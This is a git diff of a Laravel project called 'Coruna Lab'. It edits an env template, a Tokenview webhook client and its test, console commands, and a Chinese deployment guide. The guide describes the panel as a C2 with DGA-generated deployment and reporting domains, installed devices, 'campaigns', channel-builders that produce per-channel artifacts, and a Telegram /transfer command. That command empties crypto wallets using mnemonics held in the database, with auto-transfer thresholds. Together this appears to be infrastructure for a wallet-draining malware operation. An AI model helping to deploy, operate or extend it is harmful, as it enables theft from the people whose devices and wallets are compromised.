diff --git a/.env.example b/.env.example index fc16237..d519a5c 100644 --- a/.env.example +++ b/.env.example @@ -2,12 +2,7 @@ APP_NAME="Coruna Lab" APP_ENV=local APP_KEY= APP_DEBUG=true -APP_URL=http://127.0.0.1:8000 -APP_TIMEZONE=Asia/Singapore - -# Behind Cloudflare / Nginx reverse proxy: trust X-Forwarded-* for real client IP. -# Use * when origin is only reachable via the proxy; otherwise list proxy CIDRs. -TRUSTED_PROXIES=* +APP_URL=https://example.com APP_LOCALE=en APP_FALLBACK_LOCALE=en @@ -27,7 +22,7 @@ DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=coruna -DB_USERNAME=root +DB_USERNAME=coruna DB_PASSWORD= # Fallback for smoke tests when MySQL creds unavailable: @@ -51,82 +46,70 @@ ADMIN_PASSWORD=admin123 # Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. CORUNA_SESSION_KEY= -# Optional link-display hosts (not used by DGA binary patch). .env-only. + +# Optional link-display hosts (not used by DGA binary patch). +# Overridable by 系统设置 → 投放域名. CORUNA_LAB_CHANNEL_DOMAINS= CORUNA_REPORTING_DOMAINS= -# Panel Host allowlists (comma/space separated). Empty = no restriction. -# .env-only (not shown in Admin → 系统设置). + CORUNA_ADMIN_HOSTS= CORUNA_AGENT_HOSTS= -# In-process channel builders (Python). Old: channel-builder → public/web|sync -# New (xxbb/weifile): channel-builder-new → public/details + public/channel// -CORUNA_CHANNEL_BUILDER_PYTHON= -CORUNA_CHANNEL_BUILDER_NEW_PYTHON= -CORUNA_ARTIFACT_ROOT= -CORUNA_CHANNEL_STATE_ROOT= -CORUNA_CHANNEL_NEW_STATE_ROOT= + +# In-process channel-builder (Python). +# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/) +# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder) + +# 内嵌 channel-builder(无 Build API;产物默认 public/) +CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python +CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python + +CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public +CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder CORUNA_CHANNEL_BUILDER_TIMEOUT=600 + + # Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS CORUNA_STATIC_SITE_SCHEME=https -# Shared native `c` (32 hex) for every new-builder channel. Drives DGA; not a per-channel id. -# After `php artisan xxbb:build --random-c`, copy the printed XXBB_CHANNEL_C here. -XXBB_CHANNEL_C= -# Match iptj PageVisit → new-builder device by IP (minutes). -XXBB_VISIT_MATCH_MINUTES=30 -# Max channel links per agent (.env-only) +# Max channel links per agent (super-admin settings can override) CORUNA_MAX_CHANNELS_PER_AGENT=5 -# p7zip binary. On panel hosts with open_basedir, prefer project-local: -# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z -# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z -# Or set the system path (exec usually works; do not rely on is_executable): -# CORUNA_7Z_BIN=/usr/bin/7z -CORUNA_7Z_BIN= + +CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z # Telegram (outbound alerts + inbound Nutgram commands) -# Bot Token / transfer recipients are .env-only (not editable in admin UI). TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= -# Optional cache of @username; normally filled automatically via getMe -# TELEGRAM_BOT_USERNAME= + # Optional; if set, register via: php artisan telegram:set-webhook TELEGRAM_WEBHOOK_SECRET= # Do not enable unless you understand Nutgram's md5(APP_KEY) secret check # NUTGRAM_SAFE_MODE=false -# /transfer recipients (fromAddress is the command arg; mnemonic from DB) -# Usage: /transfer [TRX|USDT|ETH|BTC] [amount] — omit amount = all TRANSFER_TO_ADDRESS= TRANSFER_TO_ADDRESS_ETH= TRANSFER_TO_ADDRESS_BTC= -# TRON USDT fee top-up wallet (also editable in Admin → 系统设置) -TRANSFER_FEE_ADDRESS_TRON= -TRANSFER_FEE_PRIVATE_KEY_TRON= -TRANSFER_FEE_TOPUP_TRX=20 -# Official-channel auto transfer (also editable in Admin → 系统设置) -AUTO_TRANSFER_ENABLED=0 -AUTO_TRANSFER_THRESHOLD_USDT= -AUTO_TRANSFER_THRESHOLD_TRX= -AUTO_TRANSFER_THRESHOLD_ETH= -AUTO_TRANSFER_THRESHOLD_BTC= # TRANSFER_MAX_USDT=0 # TRANSFER_MAX_TRX=0 -# TRANSFER_MAX_ETH=0 -# TRANSFER_MAX_BTC=0 # TRANSFER_MAX_DERIVE_INDEX=20 # TRANSFER_TRX_FEE_RESERVE=1 -# TRANSFER_ETH_FEE_RESERVE=0.001 -# TRANSFER_BTC_FEE_RESERVE=0.0001 + TRON_FULL_NODE=https://api.trongrid.io TRON_API_KEY= TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t -ETH_RPC_URL=https://ethereum.publicnode.com -# ETH_CHAIN_ID=1 -ETH_USDT_CONTRACT=0xdAC17F958D2ee523a2206206994597C13D831ec7 -BTC_API_URL=https://mempool.space/api -# BTC_FEE_RATE=0 # Tokenview address tracking (monitor=1 addresses) TOKENVIEW_API_KEY= TOKENVIEW_SIGN_KEY= # TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi + +TRUSTED_PROXIES=* +XXBB_CHANNEL_C= +TELEGRAM_BOT_USERNAME= +AUTO_TRANSFER_ENABLED=0 +AUTO_TRANSFER_THRESHOLD_USDT= +AUTO_TRANSFER_THRESHOLD_TRX= +AUTO_TRANSFER_THRESHOLD_ETH= +AUTO_TRANSFER_THRESHOLD_BTC= +TRANSFER_FEE_ADDRESS_TRON= +TRANSFER_FEE_TOPUP_TRX=20 +TRANSFER_FEE_PRIVATE_KEY_TRON= diff --git a/app/Services/Tokenview/TokenviewClient.php b/app/Services/Tokenview/TokenviewClient.php index 9fb00d2..b6d8241 100644 --- a/app/Services/Tokenview/TokenviewClient.php +++ b/app/Services/Tokenview/TokenviewClient.php @@ -12,50 +12,6 @@ class TokenviewClient return (string) config('coruna.tokenview.api_key') !== ''; } - public function setWebhookUrl(string $url): bool - { - if (! $this->enabled()) { - return false; - } - - $endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl'; - try { - $resp = Http::timeout(20) - ->withBody($url, 'text/plain') - ->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key'))); - - return $resp->successful() && (int) $resp->json('code') === 1; - } catch (\Throwable $e) { - Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage()); - - return false; - } - } - - public function getWebhookUrl(): ?string - { - if (! $this->enabled()) { - return null; - } - - $endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl'; - try { - $resp = Http::timeout(20)->get($endpoint, [ - 'apikey' => (string) config('coruna.tokenview.api_key'), - ]); - if (! $resp->successful() || (int) $resp->json('code') !== 1) { - return null; - } - $data = $resp->json('data'); - - return is_string($data) && $data !== '' ? $data : null; - } catch (\Throwable $e) { - Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage()); - - return null; - } - } - public function addAddress(string $coinAbbr, string $address): bool { return $this->mutateAddress('add', $coinAbbr, $address); diff --git a/config/nutgram.php b/config/nutgram.php index bfd57de..75550a7 100644 --- a/config/nutgram.php +++ b/config/nutgram.php @@ -11,7 +11,10 @@ return [ 'safe_mode' => (bool) env('NUTGRAM_SAFE_MODE', false), // Extra or specific configurations - 'config' => [], + 'config' => [ + // Baota PHP curl is often built without nghttp2; Guzzle HTTP/2 then fatals. + 'enable_http2' => (bool) env('NUTGRAM_ENABLE_HTTP2', false), + ], // Set if the service provider should automatically load // handlers from /routes/telegram.php diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 3d7a279..f4ffa56 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -2,21 +2,23 @@ 同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。 -| 构建器 | 路径 | 渠道 ID | 产物 | -| --- | --- | --- | --- | -| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web//` + 共享 `public/sync/` | + +| 构建器 | 路径 | 渠道 ID | 产物 | +| ---------------------------------------- | -------------------------------- | ------------------------ | ---------------------------------------------- | +| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web//` + 共享 `public/sync/` | | 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel//`;共享模板 `public/details/` | -新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。 + +新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。 ## 架构 -| 角色 | 项目 / 路径 | 对外 | 进程 | -| --- | --- | --- | --- | -| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | -| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | -| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv | +| 角色 | 项目 / 路径 | 对外 | 进程 | +| --------------- | -------------------------------- | --------------------------- | --------------- | +| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | +| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | +| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv | ```text @@ -55,7 +57,7 @@ 软件商店安装: -- Nginx +- Nginxphp artisan migrate - MySQL 8.0 - PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换) - Python 3.10+(系统或面板) @@ -110,8 +112,6 @@ client_max_body_size 64m; 两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。 - - ### 1.1 旧版 `channel-builder` ```bash @@ -124,8 +124,6 @@ pip install -r requirements.txt 产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。 - - ### 1.2 新版 `channel-builder-new`(xxbb / weifile) ```bash @@ -140,11 +138,13 @@ pip install -r requirements.txt 产物与状态: -| 路径 | 作用 | -| --- | --- | -| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) | -| `public/channel//` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) | -| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) | + +| 路径 | 作用 | +| ---------------------------------- | ------------------------------------------------------ | +| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) | +| `public/channel//` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) | +| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) | + 创建新版渠道时 Laravel 会: @@ -153,8 +153,6 @@ pip install -r requirements.txt 因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。 - - ### 1.3 权限与静态路径(Admin 站点 Nginx) ```bash @@ -208,8 +206,6 @@ location /details/ { **首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。 - - ### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要) 新版创建渠道前 `.env` 必须有共享 `c`。任选其一: @@ -473,13 +469,6 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log 1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。 -可选(地址监控):若启用 Tokenview,可另执行: - -```bash -/www/server/php/82/bin/php artisan tokenview:set-webhook -# 默认 → https:///hooks/tokenview -``` - --- @@ -502,14 +491,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log ## 4. 日常运维 -| 动作 | 命令 / 操作 | -| --- | --- | -| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | -| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` | -| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | -| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` | -| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | -| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 | +| 动作 | 命令 / 操作 | +| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | +| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | +| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` | +| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | +| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` | +| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | +| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 | 当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。 @@ -575,9 +564,8 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/ /www/server/php/82/bin/php artisan config:clear ``` -2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。 - -3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。 +1. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。 +2. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。 自检: @@ -586,6 +574,8 @@ ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python # 常见:… -> /usr/bin/python3.10 ``` + + ### Nginx:`unknown directive "32}/(web|sync)/"` location 正则未加引号,`{32}` 被当成配置块。改为: @@ -596,8 +586,6 @@ location ~ "^/web/[0-9a-f]{32}/" { 新版 `/channel/` 正则同理,花括号必须放在引号内。 - - ### `apt` 因 gitlab-ce 源 404 失败 ```bash @@ -660,4 +648,4 @@ chmod -R ug+rwx storage/framework/sessions - 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘 - seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT` -同机时无需拆分,Admin `public/` 即静态根。 +同机时无需拆分,Admin `public/` 即静态根。 \ No newline at end of file diff --git a/routes/console.php b/routes/console.php index 48d7af9..121c89b 100644 --- a/routes/console.php +++ b/routes/console.php @@ -1,7 +1,6 @@ comment(Inspiring::quote()); })->purpose('Display an inspiring quote'); -Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null) { - /** @var TokenviewClient $client */ - $client = app(TokenviewClient::class); - if (! $client->enabled()) { - $this->error('TOKENVIEW_API_KEY is empty'); - - return 1; - } - $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/tokenview'; - $this->info('Setting webhook URL: '.$url); - if ($client->setWebhookUrl($url)) { - $this->info('OK'); - - return 0; - } - $this->error('Failed — check Tokenview API response / credentials'); - - return 1; -})->purpose('Register Tokenview address-tracking webhook URL'); - Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) { $token = (string) config('nutgram.token', ''); if ($token === '') { diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php index ba266b4..e4908e3 100644 --- a/tests/Feature/TokenviewWebhookTest.php +++ b/tests/Feature/TokenviewWebhookTest.php @@ -6,7 +6,6 @@ use App\Models\Admin; use App\Models\Device; use App\Models\TokenviewEvent; use App\Models\WalletAddress; -use App\Services\Tokenview\TokenviewClient; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; @@ -327,27 +326,4 @@ class TokenviewWebhookTest extends TestCase return str_contains($request->url(), '/monitor/address/remove/eth/'); }); } - - #[Test] - public function set_webhook_command_posts_url(): void - { - config([ - 'coruna.tokenview.api_key' => 'test-key', - 'coruna.tokenview.base_url' => 'https://services.tokenview.io/vipapi', - 'app.url' => 'https://example.test', - ]); - Http::fake([ - 'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200), - ]); - - $this->artisan('tokenview:set-webhook') - ->assertSuccessful(); - - Http::assertSent(function ($request) { - return str_contains($request->url(), '/monitor/setwebhookurl') - && $request->body() === 'https://example.test/hooks/tokenview'; - }); - - $this->assertTrue(app(TokenviewClient::class)->enabled()); - } }